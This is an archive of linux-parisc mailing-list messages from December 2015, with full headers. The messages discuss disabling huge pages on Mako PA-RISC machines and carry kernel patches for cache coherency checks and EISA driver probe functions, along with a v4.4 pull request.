On 2015-12-06 3:43 PM, Helge Deller wrote:
> Mako-based machines (PA8800 and PA8900 CPUs) don't allow aliasing on
> non-equaivalent addresses.
Where do the non equivalent addresses come from?  When non equivalent 
mappings are
used in the kernel, we try pretty hard to ensure that the user mappings 
are flushed prior
to using the kernel mapping and then we flush the kernel mapping. 
There's also the
copy_user_page_asm and clear_user_page_asm routines that do copies and 
clear operations
using equivalent addresses.  I have some notes on the flushing needed 
using these routines.

One source of non equivalent addresses is the boundary between text and 
data in user
applications.  At one time, we had data immediately after the text and 
non equivalent
addresses.  Now, the start of data is rounded up so it starts on a 4K 
page boundary.
This may need adjustment for huge pages, but that implies a rebuild of 
user space.

I tend to think flush_tlb_all() doesn't work because the aliasing rules 
are being broken.
Disabling it causes a significant increase in time to flush the tlb.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] parisc: Disable huge pages on Mako machines
Date: Mon, 7 Dec 2015 22:19:10 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <5665F7CE.3010209@gmx.de>
References: <1449434613-32214-1-git-send-email-deller@gmx.de>
 <5665A221.5050309@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1449523174 6426 80.91.229.3 (7 Dec 2015 21:19:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Dec 2015 21:19:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 07 22:19:28 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a63Bu-0000dL-8W
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Dec 2015 22:19:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932111AbbLGVTW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2015 16:19:22 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:51918 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755348AbbLGVTT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2015 16:19:19 -0500
Original-Received: from [192.168.20.60] ([92.203.44.63]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Lbujs-1aVAk01QkW-00jHA9; Mon, 07 Dec 2015 22:19:12
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <5665A221.5050309@bell.net>
X-Provags-ID: V03:K0:fK7UhpW9My3XF76bHgEoFz4wEyIw1jAKn+G3Uk9ciO3fIYGoKa8
 h53w8kTVavxFsQBTHBHHNAg6w8DD6v1z6KNw/j7IArsj0RLLn9yHuGGyIQjuCGQIlkgC6RH
 0EvkEWE0sYgUoxIID5N9od9gCFQFoZ5sMEWnYa9w7BWD5FWE1tchI9W5QUWSs4e2s8St9Fa
 lrywJnfDMfrkJIvR2IHBQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4EI7rAdO08c=:ZqWEFeNL5iqfZHqXLpdln5
 W/wkOE8R/GtFGczMKIHih6wUDzhfhn6ALC4VAYKQyXoVDpVFIN4mrHcah1Teu4Q/x8D/dBaHQ
 nc8CY+B5WiWym8i9jWCeBbbwhb4wX+54gkmsqFI1NnD5SkLg9bbGaEBIkdb6TsuNNTxflMGhw
 Bamk7YhGkyjpMuOM5uA4Eo8xoj9O16fDqlhzR8wbW6iBA5x+FPKWN8TxyjHd6fTUXLw6JezWj
 eRy75FRli2/3mX9pJnOpDg2vdHdSID1AxW9CkfEzUrKmaxiveuq5m4CgVI8xBnq/zu2dFmiaN
 QgrHlu0zeVDmdJgeAvww9WbYA40UettlkOzCTT/hyIC5rW/IDkazFcZnZ5gQ/V/vCCfhIBjV3
 HuhUZJlxc0uzfwGTDMYsSbrZeKBObDgFhNJ9/RnTlxaSzI3udOzXcDlLKa0kBt10hDz21xSz1
 kHNNIpWsFj20VatPW+XCZKwXbWemcjkoVS8l9M5INxPJcv0gkOlbjR3AGYKaxXEOsHSiw75P4
 HeV9uw6eWKsP8vNAZ8a9D75ocYJ084qIpilUFtlpp7BI3ETENO1wUiHBJcxjANHyEUnfogaXk
 /Iui46Bw8rnDFynE+O/lsj5AK6mPEgoefnxuFvT9f5lU23s84OoncSIYit/UUaFg2Hpatcokv
 NHlEzMOcn+pWMrphMN6vgFrJvvCuhfGM22355nRVAh7BQWbgyI47FZNsCbeYaxZDNkD2CCg0h
 XIm8xSaMQ5nXQFrJPSsiWgBM8d6Ly0h/cz69ngAFgS4rdsAbYny1di7spn8NpPfQ4zzt+BGV 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26181>

Hi Dave,

On 07.12.2015 16:13, John David Anglin wrote:
> On 2015-12-06 3:43 PM, Helge Deller wrote:
>> Mako-based machines (PA8800 and PA8900 CPUs) don't allow aliasing on
>> non-equaivalent addresses.

> Where do the non equivalent addresses come from?

I think the main problem is the gateway page.
It's mapped at address 0 into userspace, but needs to jump into kernel space too.
This somehow breaks the huge page mapping.

> When non equivalent mappings are
> used in the kernel, we try pretty hard to ensure that the user mappings are flushed prior
> to using the kernel mapping and then we flush the kernel mapping. There's also the
> copy_user_page_asm and clear_user_page_asm routines that do copies and clear operations
> using equivalent addresses.  I have some notes on the flushing needed using these routines.

Yes.

> One source of non equivalent addresses is the boundary between text and data in user
> applications.  At one time, we had data immediately after the text and non equivalent
> addresses.  Now, the start of data is rounded up so it starts on a 4K page boundary.
> This may need adjustment for huge pages, but that implies a rebuild of user space.

No, userspace is not mapped in huge pages (but it could if someone gets libhugetlbfs working).
Right now, only hugepages would only be used for mmap() or shmget() memory if the flags
are given. 

> I tend to think flush_tlb_all() doesn't work because the aliasing rules are being broken.
> Disabling it causes a significant increase in time to flush the tlb.

Yes.
Right now the patches I sent don't seem to work as I expected them to do.
So, it's not what I currently tend to commit. I'm still working on it, but my time
is very limited, so it will need some time.
My current top goal is to push patches for kernel v4.4 which fixes the boot crash on Mako machines.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] parisc: Disable huge pages on Mako machines
Date: Mon, 7 Dec 2015 21:03:21 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <E384F76A-0424-4237-8624-3761A2EA68F0@bell.net>
References: <1449434613-32214-1-git-send-email-deller@gmx.de> <5665A221.5050309@bell.net> <5665F7CE.3010209@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1449540223 2831 80.91.229.3 (8 Dec 2015 02:03:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Dec 2015 02:03:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 08 03:03:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a67cn-0006PZ-QS
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Dec 2015 03:03:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755647AbbLHCD3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2015 21:03:29 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:23721 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755322AbbLHCD2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2015 21:03:28 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151208020327.IJZL19332.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 7 Dec 2015 21:03:27 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm02.bell.net
          with ESMTP
          id <20151208020327.FPOS21879.mtlspm02.bell.net@[192.168.2.10]>;
          Mon, 7 Dec 2015 21:03:27 -0500
In-Reply-To: <5665F7CE.3010209@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56663A6F.00B3,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26182>

On 2015-12-07, at 4:19 PM, Helge Deller wrote:

>> Where do the non equivalent addresses come from?
> 
> I think the main problem is the gateway page.
> It's mapped at address 0 into userspace, but needs to jump into kernel space too.
> This somehow breaks the huge page mapping.

With latest debian kernel, I see:

000000004015d000 <linux_gateway_page>:
        ...

000000004015d0b0 <lws_entry>:

Possibly, this needs to be aligned to huge page boundary.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Reduce overhead of parisc_requires_coherency()
Date: Sat, 12 Dec 2015 18:22:03 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20151212172203.GA1118@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1449940945 17993 80.91.229.3 (12 Dec 2015 17:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Dec 2015 17:22:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 12 18:22:17 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a7ns7-0001KS-Nh
	for glpp-linux-parisc@plane.gmane.org; Sat, 12 Dec 2015 18:22:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752034AbbLLRWP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Dec 2015 12:22:15 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:56089 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751869AbbLLRWO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Dec 2015 12:22:14 -0500
Original-Received: from p100.box ([92.203.30.85]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0M24Vr-1aO6Kb0Oct-00u4ux; Sat, 12 Dec 2015 18:22:06
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:U0tDEdxbKJiRGP/xpXi6D5qp/Ihxj6qyfnLVdtJEd7ySyhuPIGZ
 foAJ/tca3NK0OxM0yVzA6XcqiqqRz2OpHd4KujVeZWXSjxy/3r+I1e9DAsRseEGJTmyl+IQ
 X4rwMIm2bQ7prH8NJxy8BZbEoY5CpeeiRWUElBob23wq8HNZohAUA8WXsV+O9grbs5IqpPu
 mJVAvICrR2DSZconsR5eA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3YzTZ3ro9bk=:w3ZMsb6mm1P4Oaer1re3qh
 43hZkY32fzBLyJC/PizYRIafI7hVVw1Ett4R0SOCzfeA8scTC78YrKP0Yyzk6o5dIEGJgndYT
 6o2VM3x3H1Ovmtye63yZ7WTIplqzkOR2EHQVN/Da70th8qIl4bJDHlLXF7CR1q0tGOBrxGdrP
 oCWG6ZzSxx5IX8OIO743Cdf4gQJnfsezjT7jTuutgMm4jYVOEBJJIsSff6KRxHEnTtrF9cw7t
 wo6RMJQAFS57qX/NHQOsUFIrdrGkaoqJ/6BbiHupy2mI7vcM51Lzyzwjr+QHeulpx0kOf8ZPb
 U0jg8FQiC8RzUKa+gu+2u2tY9ODF9CDcgayCitqmhug01jdk7x4bFjjiys93yx81xsKrTIvUC
 f/7VVtDgrkJZTfKkIRm+FhwCQ7827Kn48nahMst/G5Wb1eGaWcTV8RuclTyd9ROPHmeehOX/J
 b4vGaXXw1trfoZD1FlH9Q6dmzSRdn4NFzcFB/lB8PgljxlT77l6B+UA9cij/kUwtfxp2qgsuk
 +kcIINyJZwgQdVp5zMvB++JiK6qr4wUCFPtwiShTyBq1J1Mapzq6ZSLAJggxOTlvusbsg6g/M
 WJ3uYtAsUeZOaYESkURMMUYTyTWSepbMwXe0S/P8Vcxp0BUF2oZ85yHzIIz+86GA9dZGrIVZ2
 sGCAHADWfn7FmTg250SMAVGrdiSXOKQzk8i9UZdZJDtyZkwac/Z2Bi7ziP1erSRSWCRs2pSWm
 YKgcJF6K/PWZNtBHTWsHSfMZrsfX9REp8Dyv1gTHHUEbtjbSJyYnkyRrdQ4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26183>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 7e759ec..2e674e1 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -311,18 +311,17 @@ extern unsigned long get_wchan(struct task_struct *p);
 #define cpu_relax()	barrier()
 #define cpu_relax_lowlatency() cpu_relax()
 
-/* Used as a macro to identify the combined VIPT/PIPT cached
- * CPUs which require a guarantee of coherency (no inequivalent
- * aliases with different data, whether clean or not) to operate */
-static inline int parisc_requires_coherency(void)
-{
+/*
+ * parisc_requires_coherency() is used to identify the combined VIPT/PIPT
+ * cached CPUs which require a guarantee of coherency (no inequivalent aliases
+ * with different data, whether clean or not) to operate
+ */
 #ifdef CONFIG_PA8X00
-	return (boot_cpu_data.cpu_type == mako) ||
-		(boot_cpu_data.cpu_type == mako2);
+extern int _parisc_requires_coherency;
+#define parisc_requires_coherency()	_parisc_requires_coherency
 #else
-	return 0;
+#define parisc_requires_coherency()	(0)
 #endif
-}
 
 #endif /* __ASSEMBLY__ */
 
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index b68d977..e81ccf1 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -44,6 +44,10 @@
 
 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
+#ifdef CONFIG_PA8X00
+int _parisc_requires_coherency __read_mostly;
+EXPORT_SYMBOL(_parisc_requires_coherency);
+#endif
 
 DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
@@ -277,8 +281,12 @@ void __init collect_boot_cpu_data(void)
 	boot_cpu_data.cpu_type = parisc_get_cpu_type(boot_cpu_data.hversion);
 	boot_cpu_data.cpu_name = cpu_name_version[boot_cpu_data.cpu_type][0];
 	boot_cpu_data.family_name = cpu_name_version[boot_cpu_data.cpu_type][1];
-}
 
+#ifdef CONFIG_PA8X00
+	_parisc_requires_coherency = (boot_cpu_data.cpu_type == mako) ||
+				(boot_cpu_data.cpu_type == mako2);
+#endif
+}
 
 
 /**
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabian Frederick <fabf@skynet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: [PATCH V2 net-next] drivers/net: fix eisa_driver probe section mismatch
Date: Sat, 12 Dec 2015 18:24:38 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <1449941078-15854-1-git-send-email-fabf@skynet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1449941103 20610 80.91.229.3 (12 Dec 2015 17:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Dec 2015 17:25:03 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
	Fabian Frederick <fabf@skynet.be>,
	Steffen Klassert <klassert@mathematik.tu-chemnitz.de>,
	Jaroslav Kysela <perex@perex.cz>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 12 18:24:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a7nud-0000si-28
	for glpp-linux-parisc@plane.gmane.org; Sat, 12 Dec 2015 18:24:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752505AbbLLRYt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Dec 2015 12:24:49 -0500
Original-Received: from mailrelay116.isp.belgacom.be ([195.238.20.143]:52131 "EHLO
	mailrelay116.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751361AbbLLRYt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Dec 2015 12:24:49 -0500
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: A2CfAgANV2xW/yQlQFdegmlRI4Eeux2CGQENgWMXhXeBJTkUAQEBAQEBAYEKhREjgRolEogzsgCLcy2GVow6DEGBNgWNNIlCjUSPOY1bHwEBQoFKAUYdgVc9NIUZAQEB
Original-Received: from 36.37-64-87.adsl-dyn.isp.belgacom.be (HELO localhost.localdomain) ([87.64.37.36])
  by relay.skynet.be with ESMTP; 12 Dec 2015 18:24:44 +0100
X-Mailer: git-send-email 2.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26184 gmane.linux.kernel:2106973 gmane.linux.network:391341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26184>

Some eisa_driver structures used __init probe functions which generates
a warning and could crash if function is called after being deleted.

Signed-off-by: Fabian Frederick <fabf@skynet.be>
---
V2:
	-Remove scsi occurence for net-next(suggested by David S. Miller)
	-Fix checkpatch warnings(space prohibited between function name
	 and parenthesis).

 drivers/net/ethernet/3com/3c509.c      | 2 +-
 drivers/net/ethernet/3com/3c59x.c      | 2 +-
 drivers/net/ethernet/dec/tulip/de4x5.c | 2 +-
 drivers/net/ethernet/hp/hp100.c        | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/net/ethernet/3com/3c509.c b/drivers/net/ethernet/3com/3c509.c
index 4547a1b..7677c74 100644
--- a/drivers/net/ethernet/3com/3c509.c
+++ b/drivers/net/ethernet/3com/3c509.c
@@ -562,7 +562,7 @@ static void el3_common_remove (struct net_device *dev)
 }
 
 #ifdef CONFIG_EISA
-static int __init el3_eisa_probe (struct device *device)
+static int el3_eisa_probe(struct device *device)
 {
 	short i;
 	int ioaddr, irq, if_port;
diff --git a/drivers/net/ethernet/3com/3c59x.c b/drivers/net/ethernet/3com/3c59x.c
index 2839af0..1c5f3b2 100644
--- a/drivers/net/ethernet/3com/3c59x.c
+++ b/drivers/net/ethernet/3com/3c59x.c
@@ -907,7 +907,7 @@ static struct eisa_device_id vortex_eisa_ids[] = {
 };
 MODULE_DEVICE_TABLE(eisa, vortex_eisa_ids);
 
-static int __init vortex_eisa_probe(struct device *device)
+static int vortex_eisa_probe(struct device *device)
 {
 	void __iomem *ioaddr;
 	struct eisa_device *edev;
diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 8966f31..3acde3b 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1990,7 +1990,7 @@ SetMulticastFilter(struct net_device *dev)
 
 static u_char de4x5_irq[] = EISA_ALLOWED_IRQ_LIST;
 
-static int __init de4x5_eisa_probe (struct device *gendev)
+static int de4x5_eisa_probe(struct device *gendev)
 {
 	struct eisa_device *edev;
 	u_long iobase;
diff --git a/drivers/net/ethernet/hp/hp100.c b/drivers/net/ethernet/hp/hp100.c
index ae6e30d..1d5c3e1 100644
--- a/drivers/net/ethernet/hp/hp100.c
+++ b/drivers/net/ethernet/hp/hp100.c
@@ -2843,7 +2843,7 @@ static void cleanup_dev(struct net_device *d)
 }
 
 #ifdef CONFIG_EISA
-static int __init hp100_eisa_probe (struct device *gendev)
+static int hp100_eisa_probe(struct device *gendev)
 {
 	struct net_device *dev = alloc_etherdev(sizeof(struct hp100_private));
 	struct eisa_device *edev = to_eisa_device(gendev);
-- 
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for v4.4
Date: Sat, 12 Dec 2015 19:33:11 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20151212183311.GA22472@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1449945228 26397 80.91.229.3 (12 Dec 2015 18:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Dec 2015 18:33:48 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 12 19:33:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a7ozC-0006ev-Jp
	for glpp-linux-parisc@plane.gmane.org; Sat, 12 Dec 2015 19:33:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752312AbbLLSdY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Dec 2015 13:33:24 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:65449 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752290AbbLLSdX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Dec 2015 13:33:23 -0500
Original-Received: from p100.box ([92.203.30.85]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MLvLE-1a8vyg3v5Q-007jqI; Sat, 12 Dec 2015 19:33:15
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:fYZZm3vdfDOyBee3XZmrNh+1qceJrvZ7m+Nj/zTZnsg4jwMVksv
 Pvs8uKhu95neZdQvaiz2Ss/sNKjrkzSP5OCLAHLD+fI4Qfcodqc5/MMBpUR6pCl3oK5Vusl
 36qxpELdnPCwXndVH2CDReVD7JZPxyQW8xsBCWnpoUAdWpW06Tzlf+p88/yJ0EELOL+FsFz
 ugyw7qAM4Ew+29OPcTnwA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tbJY5gIQ8YI=:Jnsbf9T6r08pHPcxGgteFi
 8dmwF4VkrB4IiLVDwUUV0CiwK3glAoIZjqS/LQX/tDr/mgfpUpTZGLO98jrMoUFyRuhEcZzjh
 HNaZCB5789MckqorhBLhnjLAvW7I1WZEeDjHTOmYkMC2Uwvyc9b1w3ueD4CK3IJ43qHu9elgv
 UxaHmms8puHJ7Fxcx257E2EwhBLVGAabhP2vhmc1cwVcvS72mCNfXWFeRWJJkDZ3jLNtgkwWx
 RszrE2mVgbPJ4Qn3fdnz2ElAGant0wmiwsR6wq/+MAOXbeN2Fk4RT18b6R6MWEZwogYejOE56
 G5RrsdwWr2U4mAlrlRCzfz2OQxBJ307pMipI0hajQGPcEr93KEBi3SZd0x0g7on8nsE2q46Oi
 NvOXJVFyL+tysm4UJW+FWEer2YypZ18rH81f0WhKZlDfMu+zflu/IQEWXk3nkQrKHYA/RoYz1
 4qVZh9Y2w4kOSd0HBu9TMWsjEwXwdHcJ2McixwBVYxKdZ8xT4t7l6HsqrJY9cAMKECcbLVp2Y
 Loh9TiosZEj6FAASPCmgxUcmbGEcfH+6A0ZhH9zqPyA1d3HJFwGpjvGITY+7gFBq9UbmlamdU
 /uzxmkVYOoUsVN14LcRtKTPaab11ujghniBj+0KsJkV46STZmbiq6jhObsOiXpUtWJhTbPCt+
 GECTc0DT97JGNmM9YcmdL55pPsaYmcN6Q7TNuS+AMWykCSL0n9Bfdg4VLi+jwp2fTuXoipHv+
 Qx8FQzPMANbqxxwLVSBJA8nUJBt7mTrLlDTA9v13TEkvAu5zEpkf4eQehJw=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26185 gmane.linux.kernel:2106981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26185>

Hi Linus,

please pull some fixes for the parisc architecture for v4.4 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-3

Fix the boot crash on Mako machines with Huge Pages, prevent a panic with SATA
controllers (and others) by correctly calculating the IOMMU space, hook up the
mlock2 syscall and drop unneeded code in the parisc pci code.

Thanks,
Helge

----------------------------------------------------------------
Bjorn Helgaas (1):
      parisc: Remove unused pcibios_init_bus()

Helge Deller (2):
      parisc: Wire up mlock2 syscall
      parisc: Disable huge pages on Mako machines

Mikulas Patocka (1):
      parisc iommu: fix panic due to trying to allocate too large region

 arch/parisc/include/asm/pgtable.h     |  3 ++-
 arch/parisc/include/uapi/asm/unistd.h |  3 ++-
 arch/parisc/kernel/pci.c              | 18 ------------------
 arch/parisc/kernel/syscall_table.S    |  1 +
 drivers/parisc/iommu-helpers.h        | 15 ++++++++-------
 5 files changed, 13 insertions(+), 27 deletions(-)
--
